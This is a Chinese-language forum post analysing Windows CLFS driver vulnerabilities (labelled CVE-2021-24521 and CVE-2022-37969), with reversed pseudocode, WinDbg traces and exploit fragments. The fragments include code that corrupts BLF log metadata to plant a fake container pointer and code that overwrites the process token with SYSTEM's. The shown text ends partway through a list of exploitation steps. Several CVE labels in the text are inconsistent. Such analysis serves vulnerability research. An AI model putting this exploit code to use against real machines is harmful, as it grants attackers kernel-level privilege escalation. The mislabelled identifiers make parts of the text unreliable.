-
-
[原创]年终CLFS漏洞汇总分析
-
2022-12-18 12:47 20003
-
引用
这篇文章的目的是介绍今年出现的两个CLFS漏洞汇总分析.
简介
文章结合了逆向代码和调试结果分析了CVE-2021-24521和CVE-2022-37969漏洞利用过程和漏洞成因.
CVE-2021-24521漏洞分析
CVE-2021-24521漏洞的成因是 SignatureOffset 字段的范围校验不严格,从而导致SignatureOffset 指向的区域可以与某个 ContainerContext 的 pContainer 指针重合.攻击者可以通过精心构造日志文件内容来触发这个漏洞,CLFS在解析日志文件时,会调用 ClfsEncodeBlock 函数将每个 512 字节扇区的最后两字节备份到 SignatureOffset 指向的偏移处,整个“备份”完成后,pContainer 指针会被替换为攻击者伪造的指针,具体相关分析清读者移步相关引用中的分析文章这里不再赘述。
首先借助漏洞,将内存中的 pContainer 指针覆盖为 fakeContainer 指针,并且事先已经伪造了 fakeContainer 的虚函数表。通过利用漏洞内存中的 ContainerContext 对象和其内部的 fakeContainer 指针,我们可以看到这个指针变为了一个用户态地址,它指向的虚表也变为了一个用户态地址。正常情况下,这两个地址应该位于内核空间。
接下来我们看一下在野样本是如何实现任意地址写入的,在 RemoveContainer 函数内,代码会尝试获取 pContainer 指针,并调用内部的两个虚函数。正常情况下这两个函数是 Release 和 Remove,把地址虚函数的地址替换为没有任何实际操作的ClfsSetEndOfLog函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | __int64 __fastcall CClfsContainer::Close(CClfsContainer * this) { CClfsContainer * that; / / rbx void * v2; / / rcx NTSTATUS hr; / / edi that = this; v2 = (void * )this - >field_DeviceObjectHint_20; if ( !v2 ) return 3221225480i64 ; hr = ZwClose(v2); if ( hr > = 0 ) { that - >field_DeviceObjectHint_20 = 0i64 ; that - >field_ContainerSize_8 = 0i64 ; } ObfDereferenceObject((PVOID)that - >field_Device_Object_30); that - >field_Device_Object_30 = 0i64 ; return (unsigned int ) |
关闭blf文件的调用这2个函数之前还会调用一次CClfsContainer::Close,由于pContainer是我们精确控制的内核态地址,把field_DeviceObjectHint_20置为一个任意的打开文件句柄,field_Device_Object_30置为要被ObfDereferenceObject递减Thread的PreviousMode地址, 将当前线程模式改为内核模式,这是一种直到windows11微软允许的利用方式,详见微软文档,这样就可以允许用户态访问内核态内存通过NtWriteVirtualMemory将当前进程自身的令牌替换为 System 进程的令牌,从而完成提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | bool WriteProcessToken() { unsigned long written = 0 ; ULONGLONG pToken[] = { 0 , 0 , 0 , 0 }; NtWriteVirtualMemory( GetCurrentProcess(), &pToken, (PVOID)(SystemEProcessAddress + dwEProcessTokenPos - 0x10 ), 0x20 , &written); NTSTATUS ret = NtWriteVirtualMemory( GetCurrentProcess(), (PVOID)(selfEProcessAddress + dwEProcessTokenPos), &pToken[ 2 ], 8 , &written); if (ret) { printf( "[+] Write EProcess token failed \n" ); return FALSE; } / / restore user thread. Sleep( 100 ); BYTE previouMode = 1 ; NtWriteVirtualMemory( GetCurrentProcess(), (PVOID)( ullKThreadAddress + dwThreadPreModePos ), &previouMode, 1 , &written); printf( "[+] Write EProcess token Success! \n" ); return TRUE; } |
CVE-2021-24521漏洞分析后篇
在四月的CVE-2021-24521和九月的CVE-2021-24521,存在一个不知名的clfs漏洞,具体方式是通过一个混肴的CLIENT_CONTEXT和CONTAINER_CONTEXT结构公用同一片符号表内存,用实际只相差8大小的地址空间,导致CLFSHASHSYM结构的下个cbSymName和cbOffset正好是上个不做验证ulBelow和ulAbove字段,在关闭CONTAINER时绕过AcquireContainerContext检查还原重叠的PCLFS_CONTAINER_CONTEXT的pContainer 指针,在CONTAINER_CONTEXT结构后是原来的Container路径字符串,由于重叠的关系CLIENT_CONTEXT后的路径字符串没有对应的正确内容,但是clfs没有去验证这个限制,所以就实现了绕过类型混肴,具体利用方法片段如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | void vul(){ int ContainerOffset = 0x1528 ; int ClientOffset = ContainerOffset - 8 ; PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x8200 ); ULONGLONG base_record_ptr = (ULONGLONG)hd + hd - >RecordOffsets[ 0 ]; PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr); base_record - >rgClients[ 0 ] = ClientOffset; PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset); PCLFS_CONTAINER_CONTEXT orgctx = (PCLFS_CONTAINER_CONTEXT)(base_record_ptr + ContainerOffset); PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM)); PCLFSHASHSYM orgsym = (PCLFSHASHSYM)(base_record_ptr + ContainerOffset - sizeof(CLFSHASHSYM)); fakesym - >cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT); fakesym - >cbOffset = ClientOffset; fakectx - >cidClient = 0 ; fakectx - >Reserved1 = 0 ; fakectx - >fAttributes = 0 ; orgctx - >pContainer = 0x40000000 ; } |
利用这个伪造的pContainer 指针,只要关闭blf文件句柄就会在析构函数中调用CClfsLogFcbPhysical::Finalize中文件中将原始 pContainer 指针从PCLFS_CONTAINER_CONTEXT读出,判断cActiveContainers字段是否大小大于0,当容器队列cidQueue值为-1时,最后调用pContainer自动关闭函数和指向其虚表的析构函数.可以采用CVE-2021-24521同样的利用方式利用.这2个漏洞的差别在于CVE-2021-24521的补丁修复了CClfsBaseFile::ValidateRgOffsets了SignaturesOffset,只是修复了Signature是否与符号相交的情况,却没修复符号表内部存在重叠混肴的情况.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | __int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted * this, unsigned int lsn, _CLFS_CONTAINER_CONTEXT * * a3) { _CLFS_CONTAINER_CONTEXT * * ctnctx; / / r14 if ( 0 = = that - >field_cblock_28 || (rgblock = that - >field_rgBlocks_30, (ctrlhd = rgblock[ 2 ].pbImage) = = 0i64 ) || (offset = ctrlhd - >RecordOffsets[ 0 ], basesd = (_CLFS_BASE_RECORD_HEADER * )(&ctrlhd - >MajorVersion + offset), cb = rgblock[ 2 ].cbImage, (unsigned int )offset > = cb) || (unsigned int )offset < 0x70 || cb - (unsigned int )offset < 0x1338 ) { basesd = 0i64 ; } if ( basesd ) { ctnoffset = basesd - >rgContainers[lsnref]; if ( ctnoffset ) result = CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx); else result = 3221225480i64 ; } else { result = 3222929421i64 ; } } return result; } __int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted * this, unsigned int offsetfrom, int containeridx, _CLFS_CONTAINER_CONTEXT * * retval) { _CLFS_CONTAINER_CONTEXT * * retvalref; / / r14 retvalref = retval; containeridxRef = containeridx; rgcontaineroffset = offsetfrom; file = this; hr = 0 ; v18 = 0 ; if ( offsetfrom < 0x1368 ) return 0xC01A000Di64 ; * retval = 0i64 ; ExAcquireResourceSharedLite((PERESOURCE)this - >field_lock_20, 1u ); if ( !CClfsBaseFile::IsValidOffset( file , rgcontaineroffset + 0x2F ) ) goto LABEL_21; v11 = file - >field_rgBlocks_30[ 2 ].pbImage; CClfsBaseFile::GetBaseLogRecord( file ); rgcontaineroffsetRaw = 0 ; / / / / RecordOffsets = 70 ,rgcontaineroffset = 14a0 ; 14a0 + 800 + 70 = 1d10 = _CLFS_CONTAINER_CONTEXT * * a4,craw = 800 + 70 if ( (signed int )ULongAdd(rgcontaineroffset, v12 - >RecordOffsets[ 0 ], &rgcontaineroffsetRaw) < 0 || !craw || rgcontaineroffsetRaw > = (unsigned int )v14 - >TotalSectorCount << 9 || !(craw + rgcontaineroffset) ) { goto LABEL_21; } / / _CLFS_CONTAINER_CONTEXT * * a4 = 1d10 ;poi( 1d10 - 0n12 ) = cbOffset = rgcontaineroffset = 14a0 if ( * (_DWORD * )(craw + rgcontaineroffset - 0xC ) ! = (_DWORD)rgcontaineroffset ) { hr = 030000000010 ; LABEL_15: v18 = hr; goto LABEL_16; } ctnsize = ClfsQuadAlign( 0x30u ); / / cbOffset = (unsigned __int64)(pctnref + ctnsize) / / cbOffset字符串位置正好是在container的结尾 if ( pctn[ - 1 ].usnCurrent ! = (unsigned __int64)(pctnref + ctnsize) || pctn - >cidContainer ! = containeridxRef ) { LABEL_21: hr = 0xC01A000D ; goto LABEL_15; } * retvalref = pctn; return hr; } |
实际上clfs确实在CClfsBaseFilePersisted::LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针,但是由于符号表相交的关系在之后FlushMetadata中获取的CLIENT_CONTEXT是与CONTAINER_CONTEXT存在重叠的内存.存在漏洞的伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;这行代码将ClientContext+20的位置也就是CONTAINER_CONTEXT+18的值替换回之前CClfsLogFcbPhysical::Initialize初始化时保存在CClfsLogFcbPhysical->field_CtrateTime_1a0.上下文的旧值.这里需要绕过的是判断当前的日志是不是Multiplexed类型,所以采用多数据流Log:<LogName>[::<LogStreamName>]创建日志文件对象就可以绕过这个限制,具体详见微软CreateLogFile文档
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | __int64 __usercall CClfsLogFcbPhysical::Initialize@<rax>(CClfsLogFcbPhysical * this@<rcx>, void * a2@<rdx>, struct _SECURITY_SUBJECT_CONTEXT * a3@<r8>, __int16 a4@<r9w>, ACCESS_MASK DesiredAccess, unsigned int DesiredShareAccess, __int64 a7, struct _FILE_OBJECT * FileObject, unsigned __int8 a9) { CClfsBaseFile::AcquireClientContext( file - >field_BaseFilePersisted_2A8, 0 , &cltctx); if ( !(cltctx - >eState & 0x20 ) || ((unsigned __int8 (__fastcall * )(CClfsLogFcbPhysical * , __int64, __int64, __int64, __int64)) file - >vftbl_0_00000001C0013440 - >CClfsLogFcbPhysical::IsMultiplexed_void)( file , attrval, v17, v18, Update) ) { / / 保存pContainer指针为旧值在CClfsLogFcbPhysical中 file - >field_CtrateTime_1a0 = cltctx - >llCreateTime.QuadPart; } else { / / fakectx - >eState = CLFS_LOG_SHUTDOWN;见下面分析 CClfsLogFcbPhysical::ResetLog( file ); } } __int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical * this) { that = this; hr = CClfsBaseFile::AcquireClientContext(this - >field_BaseFilePersisted_2A8, 0 , &cltctx); / / 替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存 cltctx - >llCreateTime.QuadPart = that - >field_CtrateTime_1a0; ... CClfsBaseFile::ReleaseClientContext((CClfsBaseFile * )that - >field_BaseFilePersisted_2A8, &cltctx); v7 = CClfsBaseFilePersisted::FlushImage(that - >field_BaseFilePersisted_2A8); } / / 在FlushImage中调用 __int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted * this, unsigned int a2, char shadow) { for ( i = 0 ; i < 0x400 ; + + i ) { v15 = CClfsBaseFile::AcquireContainerContext(that, i, &ctn); what = (CClfsBaseFilePersisted * )((char * )that + 8 * i); ctnref = ctn; what - >pContainer_1c0 = (void * * )&ctn - >pContainer - >pctn; ctnref - >pContainer = 0i64 ; CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile * )that, &ctn); } ClfsEncodeBlock(header, header - >TotalSectorCount << 9 , header - >Usn, 0x10u , 1u ); ClfsDecodeBlock(header, header - >TotalSectorCount, header - >Usn, 0x10u , &v21); pcontainersaved = (CClfsContainer * * )&that - >pContainer_1c0; do { if ( * pcontainersaved && (signed int )CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) > = 0 ) { ctn - >pContainer = * pcontainersaved; CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile * )that, &ctn); } + + ctnidxsearch; + + pcontainersaved; } while ( ctnidxsearch < 0x400 ); } ` |
FlushImage又调用WriteMetadataBlock在该函数中,首先会遍历每一个容器上下文,将pContainer先保存后置为0:然后调用ClfsEncodeBlock函数,对数据进行编码,此时记录中每0x200字节的后两个字节将被写入到SignaturesOffset指向的内存中,接着调用CClfsContainer::WriteSector函数,然后调用ClfsDecodeBlock函数对数据进行解码,并将之前保存的pContainer值重新写回.我们看下调试结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | bp CLFS!CClfsBaseFilePersisted::LoadContainerQ bp CLFS!CClfsBaseFile::GetSymbol 0 : kd> r rax = 0000000000000000 rbx = 0000000000000000 rcx = ffffc784287c1000 rdx = 0000000000001528 rsi = ffffdc0782e5c398 rdi = 0000000000001528 rip = fffff80026ee2670 rsp = ffffb30823028f88 rbp = ffffb30823029760 r8 = 0000000000000000 r9 = ffffb30823029050 r10 = fffff800272a7040 r11 = ffffb308230289e0 r12 = 0000000000000000 r13 = 0000000000000000 r14 = ffffc784287c1000 r15 = ffffb30823029198 iopl = 0 nv up ei pl nz na po nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040206 CLFS!CClfsBaseFile::GetSymbol: fffff800` 26ee2670 48895c2418 mov qword ptr [rsp + 18h ],rbx ss: 0018 :ffffb308` 23028fa0 = ffffdc0782e5c398 2 : kd> k # Child-SP RetAddr Call Site 00 ffffb308` 23704f88 fffff800` 26ee7294 CLFS!CClfsBaseFile::GetSymbol 01 ffffb308` 23704f90 fffff800` 26eb3156 CLFS!CClfsBaseFilePersisted::LoadContainerQ + 0x2a4 02 ffffb308` 23705100 fffff800` 26edeb7b CLFS!CClfsLogFcbPhysical::Initialize + 0x6da 03 ffffb308` 23705240 fffff800` 26ee0abb CLFS!CClfsRequest::Create + 0x4ef 04 ffffb308` 23705390 fffff800` 26ee0887 CLFS!CClfsRequest::Dispatch + 0x97 05 ffffb308` 237053e0 fffff800` 26ee07d7 CLFS!ClfsDispatchIoRequest + 0x87 0 : kd> gu 0 : kd> dq poi(ffffb30823029050) ffffdc07` 82e5d598 00000030 ` 00000000 00000000 ` 00100000 / / pContainer指针 ffffdc07` 82e5d5a8 00000000 ` 00000000 00000000 ` 40000000 ffffdc07` 82e5d5b8 00000002 ` 00000001 00000000 ` 00000000 / / 下pContainer指针硬件访问断点 ba w8 ffffdc07` 82e5d598 + 18 Breakpoint 3 hit CLFS!CClfsBaseFilePersisted::LoadContainerQ + 0x4e5 : fffff800` 26ee74d5 4885c9 test rcx,rcx / / LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针 0 : kd> dps poi(ffffdc07` 82e5d5b0 ) ffffdc07` 8291bab0 fffff800` 26ec35f0 CLFS!CClfsContainer::`vftable' ffffdc07` 8291bab8 00000000 ` 00000000 ffffdc07` 8291bac0 00000000 ` 00000000 0 : kd> dq ffffdc07` 82e5d598 ffffdc07` 82e5d598 00000030 ` 00000000 00000000 ` 00100000 ffffdc07` 82e5d5a8 00000000 ` 00000000 ffffdc07` 8291bab0 ffffdc07` 82e5d5b8 00000002 ` 00000001 00000000 ` 00000000 1 : kd> g Breakpoint 3 hit CLFS!CClfsLogFcbPhysical::FlushMetadata + 0x5d : fffff800` 26eb158d 488b83a8010000 mov rax,qword ptr [rbx + 1A8h ] 1 : kd> r rax = 0000000040000000 rbx = ffffc784288ed000 rcx = ffff80002b167180 rdx = 0000000000000031 rsi = ffffc7842a3d2930 rdi = 0000000000000000 rip = fffff80026eb158d rsp = ffffb30823029680 rbp = 0000000000000001 r8 = 0000000000000804 r9 = ffffdc0782e5d590 r10 = 0000000000000000 r11 = ffffdc0782e5c000 r12 = ffffc784297e9dc8 r13 = 0000000000000000 r14 = ffffc784297e9ee8 r15 = ffffc78422c79c01 iopl = 0 nv up ei ng nz na po nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040286 CLFS!CClfsLogFcbPhysical::FlushMetadata + 0x5d : fffff800` 26eb158d 488b83a8010000 mov rax,qword ptr [rbx + 1A8h ] ds: 002b :ffffc784` 288ed1a8 = 0000000200000001 1 : kd> k # Child-SP RetAddr Call Site 00 ffffb308` 23029680 fffff800` 26ef1503 CLFS!CClfsLogFcbPhysical::FlushMetadata + 0x5d 01 ffffb308` 230296d0 fffff800` 26eeea25 CLFS!CClfsLogFcbVirtual::Cleanup + 0x213 02 ffffb308` 23029760 fffff800` 26eee939 CLFS!CClfsLogCcb::Cleanup + 0xb1 03 ffffb308` 230297b0 fffff800` 26ee0955 CLFS!CClfsRequest::Cleanup + 0x65 0c 0000000a `dc5ff920 00000000 ` 00000000 0x00007ff8 `d566a395 / / FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx - >llCreateTime.QuadPart = that - >field_CtrateTime_1a0;替换pContainer指针为旧值 1 : kd> dq ffffdc07` 82e5d598 ffffdc07` 82e5d598 00000030 ` 00000000 00000000 ` 00100000 ffffdc07` 82e5d5a8 00000000 ` 00000000 00000000 ` 40000000 ffffdc07` 82e5d5b8 00000002 ` 00000001 00000000 ` 00000000 3 : kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 ffffb308` 23029618 fffff800` 26eb8655 : ffffc784` 287c1000 ffffc784` 288ed000 00000000 ` 00000000 fffff800` 26eceb01 : CLFS!CClfsContainer::Close 01 ffffb308` 23029620 fffff800` 26eb87b6 : ffffdc07` 82e5d598 ffffc784` 288ed000 fffff800` 26eceb20 00000000 ` 00000000 : CLFS!CClfsLogFcbPhysical::CloseContainers + 0x69 02 ffffb308` 23029650 fffff800` 26eb8761 : 00000000 ` 00000000 ffffc784` 288ed000 fffff800` 26eceb20 ffffc784` 288ed2f8 : CLFS!CClfsLogFcbPhysical::Finalize + 0x42 03 ffffb308` 23029680 fffff800` 26eb9889 : ffffc784` 2883d801 ffffc784` 288ed250 00000000 ` 00000000 ffffc784` 297e9e28 : CLFS!CClfsLogFcbPhysical::Release + 0xb1 04 ffffb308` 230296e0 fffff800` 26eddfd2 : ffffc784` 2883d830 ffffc784` 2883d801 00000000 ` 00000000 ffffc784` 2883d830 : CLFS!CClfsLogFcbVirtual::Release + 0x69 05 ffffb308` 23029720 fffff800` 26ee0908 : ffffc784` 2883d830 ffffc784` 22c79c80 ffffc784` 2883d830 00000000 ` 00000000 : CLFS!CClfsRequest::Close + 0xd6 06 ffffb308` 23029770 fffff800` 26ee07d7 : ffffc784` 2883d830 ffffc784` 2883d830 00000000 ` 00000000 fffff800` 27cf4204 : CLFS!ClfsDispatchIoRequest + 0x108 3 : kd> r / / rcx就是pContainer指针为旧值 rax = 0000000000000000 rbx = ffffc784288ed000 rcx = 0000000040000000 rdx = 0000000000000000 rsi = 0000000000000000 rdi = 0000000000000000 rip = fffff80026eeb438 rsp = ffffb30823029618 rbp = ffffdc0782e5d598 r8 = ffffb30823029550 r9 = ffffdc0782e5c070 r10 = 0000000000000000 r11 = ffffdc0782e5c000 r12 = 0000000000000000 r13 = 0000000000000001 r14 = fffff80026eceb20 r15 = ffffc78422c79c80 iopl = 0 nv up ei pl nz na po nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040206 CLFS!CClfsContainer::Close: fffff800` 26eeb438 48895c2408 mov qword ptr [rsp + 8 ],rbx ss: 0018 :ffffb308` 23029620 = ffffc784287c1000 3 : kd> dq 0000000040000000 00000000 ` 40000000 0000010d ` 844b0000 00000000 ` 00000000 00000000 ` 40000010 00000000 ` 00000000 00000000 ` 00000000 00000000 ` 40000020 00000000 ` 0000009c 00000000 ` 00000000 / / ullKThreadAddress + dwThreadPreModePos + 0x30 ;就是Thread的PreMode地址 00000000 ` 40000030 ffffc784` 29c79322 00000000 ` 00000000 / / ThreadPreMode地址 00000000 ` 40000030 ffffc784` 26d0b2e2 00000000 ` 00000000 / / 调用pContainer指针为伪造的虚表函数地址 rax = fffff80026f10190 rbx = ffffc784288ed000 rcx = 0000000040000000 rdx = 00000000746c6644 rsi = 0000000000000000 rdi = 0000000000000000 rip = fffff80026eb8660 rsp = ffffb30823029620 rbp = ffffdc0782e5d598 r8 = ffffc7842a3ce08e r9 = 0000000000000006 r10 = fffff80027216270 r11 = ffffc78426d0b080 r12 = 0000000000000000 r13 = 0000000000000001 r14 = fffff80026eceb20 r15 = ffffc78422c79c80 iopl = 0 nv up ei ng nz na pe nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040282 CLFS!CClfsLogFcbPhysical::CloseContainers + 0x74 : fffff800` 26eb8660 ff157abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800` 26ed45e0 )] ds: 002b :fffff800` 26ed45e0 = {CLFS!guard_dispatch_icall_nop (fffff800` 26ebd4e0 )} 5 : kd> ln rax (fffff800` 26f10190 ) CLFS!ClfsSetEndOfLog | (fffff800` 26f101f0 ) CLFS!ClfsSetLogFileInformation 4 : kd> !thread THREAD ffffc78429c790c0 Cid 15bc . 08e4 Teb: 00000040e33dc000 Win32Thread: 0000000000000000 RUNNING on processor 4 Child - SP RetAddr : Args to Child : Call Site ffffb308` 23835618 fffff800` 26eb8655 : ffffc784` 280ef000 ffffc784` 29603000 00000000 ` 00000000 fffff800` 26eceb01 : CLFS!CClfsContainer::Close ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式 4 : kd> dt nt!_KTHREAD ffffc78429c790c0 - y Previous + 0x232 PreviousMode : 0 '' |
CVE-2022-37969漏洞分析
CVE-2021-24521漏洞的成因是由于缺乏对 CLFS.sys 中基本日志文件 (BLF) 的基本记录头中的字段 cbSymbolZone 的严格边界检查。 cbSymbolZone存在一个名为CLFS_BASE_RECORD_HEADER的结构体,在此复制一下,本文中所有用到的结构体均可在blf.bt(010编辑器分析blf文件)附件中找到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | typedef struct _CLFS_BASE_RECORD_HEADER { CLFS_METADATA_RECORD_HEADER hdrBaseRecord; CLFS_LOG_ID cidLog; ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE]; ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE]; ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE]; ULONG cNextContainer; CLFS_CLIENT_ID cNextClient; ULONG cFreeContainers; ULONG cActiveContainers; ULONG cbFreeContainers; ULONG cbBusyContainers; ULONG rgClients[MAX_CLIENTS_DEFAULT]; ULONG rgContainers[MAX_CONTAINERS_DEFAULT]; ULONG cbSymbolZone; ULONG cbSector; USHORT bUnused; CLFS_LOG_STATE eLogState; UCHAR cUsn; UCHAR cClients; } CLFS_BASE_RECORD_HEADER, * PCLFS_BASE_RECORD_HEADER; |
可以看到其中就包括了一个名为cbSymbolZone的成员。在IDA中搜索该成员名字,可以找到唯一个操作该成员的函数CClfsBaseFilePersisted::AllocSymbol:
如果字段 cbSymbolZone 设置为无效偏移量,则会在无效偏移量处发生越界写入.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | signed __int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted * this, unsigned int allowlen, void * * endofSymZonePtrFrom) { void * * endofSymZonePtrRet; / / rsi __int64 allowlenref; / / rbp _CLFS_BASE_RECORD_HEADER * BaseLogRecord; / / rax CClfsBaseFilePersisted * that; / / r8 _CLFS_BASE_RECORD_HEADER * BaseLogRecordRef; / / rdi _CLFS_LOG_BLOCK_HEADER * hdr; / / rcx __int64 cbSymbolZone; / / r8 char * endofSymZonePtr; / / rbx signed __int64 result; / / rax endofSymZonePtrRet = endofSymZonePtrFrom; allowlenref = allowlen; BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this); BaseLogRecordRef = BaseLogRecord; if ( !BaseLogRecord ) return 0xC01A000Di64 ;; hdr = that - >field_rgBlocks_30[ 2 ].pbImage; * endofSymZonePtrRet = 0i64 ; cbSymbolZone = BaseLogRecord - >cbSymbolZone; / / 下文要绕过的限制 if ( (char * )&BaseLogRecord[ 1 ] + cbSymbolZone + allowlenref > (char * )(&hdr - >MajorVersion + hdr - >SignaturesOffset) ) return 0xC0000023i64 ; endofSymZonePtr = (char * )&BaseLogRecord[ 1 ] + cbSymbolZone; memset(endofSymZonePtr, 0 , (unsigned int )allowlenref); BaseLogRecordRef - >cbSymbolZone + = allowlenref; result = 0i64 ; * endofSymZonePtrRet = endofSymZonePtr; return result; } |
可以看出,在这里cbSymbolZone成员的作用是标识在BLF文件中,CLFS_BASE_RECORD_HEADER后所有符号表的路径字符串(符号)总共占用了多少空间.在内存中,当新增添加一个Container时,使用该成员用来计算新增的Container应该跳过多少空间往后排(即跳过现有的最后一个container的路径字符串),并申请sizeof(CLFSHASHSYM)也就是0x30大小空间,然后清零这片内存.但该函数直接使用使用了来自BLF文件中存储的cbSymbolZone的值,该值可以是大于0、小于到结尾的任意值。举例来说就是,它可以让跳过的空间很少,从而改写了现有最后一个container路径字符串,更小则可清零container结构本身的pcontainer指针。pcontainer是内核态指针位于ffff000000000000000区域,如果高20位被清零,那截断后的地址低12指针地址就可以指向用户态可申请内存地址,VirtualAlloc申请0x10000000大小内存后就可以完全覆盖这片地址.由于pcontainer指针总是一0x10字节对其的,可以采用替换虚表函数为SeSetAccessStateGenericMapping方法利用.
利用的方式也是一样修改Thread的PreviousMode字段,这个函数作用就是对rcx+8的地址自增实现相同的效果,所以只要把所有的每0x10个字节把+0处填为虚表,+8处填为PreviousMode地址就可以了.在这里有一个需要绕过的地方就是CClfsContainer::Close处.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | void __fastcall CClfsLogFcbPhysical::Finalize(CClfsLogFcbPhysical * this, char a2) { / / DeleteLogByHandle方式 if ( file - >clientshuwdown_15c & 0x10 ) { CClfsLogFcbPhysical::DeleteBaseFileAndContainers( file ); { if ( (signed int )CClfsBaseFile::AcquireContainerContext(v1 - >field_BaseFilePersisted_2A8, v5, &ctn) > = 0 ) { CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile * )v1 - >field_BaseFilePersisted_2A8, &ctn); CClfsBaseFilePersisted::RemoveContainer(v1 - >field_BaseFilePersisted_2A8, ctn); ((void (__fastcall * )(CClfsContainer * , __int64, __int64, __int64, _BYTE))ctn - >pctn - >CClfsContainer::Remove_void)( ctn, v14, v15, v16, 0 ); } } else { / / 活动容器大小是不是大于 0 if ( (unsigned int )CClfsBaseFile::ContainerCount(v3) ) { CClfsLogFcbPhysical::CloseContainers( file ); { if ( (signed int )CClfsBaseFile::AcquireContainerContext(v1 - >field_BaseFilePersisted_2A8, v5, &ctn) > = 0 ) { / / 直接关闭句柄的方式 CClfsContainer::Close(pctn); ((void (__fastcall * )(ULONGLONG, __int64, __int64, __int64, __int64))v4 - >pContainer - >pctn - >CClfsContainer::Release_void)( v4 - >ullAlignment, v6, v7, v8, v10); v4 - >ullAlignment = 0i64 ; } CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile * )v3 - >field_BaseFilePersisted_2A8, &ctnctx); } } } } } |
这里pcontainer指针总是一0x10字节对齐的,所以我们无法预估pcontainer+20和+30的检测点字段可能会出现在什么位置,走到CClfsContainer::Close里面和之前的一样函数利用的话就会因为要关闭的句柄不是合法的出错,一种可行的方案是DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation方式将file->clientshuwdown_15c设为0x10这样就会走到上方伪代码的第一个if入口在里面直接调用container的虚表函数,从而绕过了CClfsContainer::Close检查.这里有个限制DeleteLogByHandle会对CreateLogFile的参数进行检查只要赋予所有读写权限GENERIC_ALL即可绕过这个检查.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | __int64 __fastcall ClfsDeleteLogByPointer(struct _FILE_OBJECT * a1) { hr = CClfsLogCcb::CheckAccess(v8, 4 ); { if ( a2 & 1 && !this - >field_fileobj_48 - >ReadAccess || a2 & 2 && !this - >field_fileobj_48 - >WriteAccess || a2 & 4 && !this - >field_fileobj_48 - >DeleteAccess ) { hr = - 1073741790 ; } } if ( hr = = 0 ) { if ( !CClfsLogFcbCommon::IsReadOnly(v5) ) { file - >clientshuwdown_15c = v10 | 0x10 ; } } } |
利用步骤
CVE-2022-37969分析原文的利用方式比较麻烦,我先来阐述下具体利用步骤.
1.创建主blf文件通过CreateLogFile并关闭文件
2.创建一大堆的blf文件,通过查询BigPoolInformation确保最后申请的2个blf文件的MetadataBlock相隔距离正好为0x11000字节,并关闭最后申请的2个blf文件
3.篡改主blf文件MetaBlockScratch内容为以下代码,包括构造FAKE_CLIENT_CONTEXT
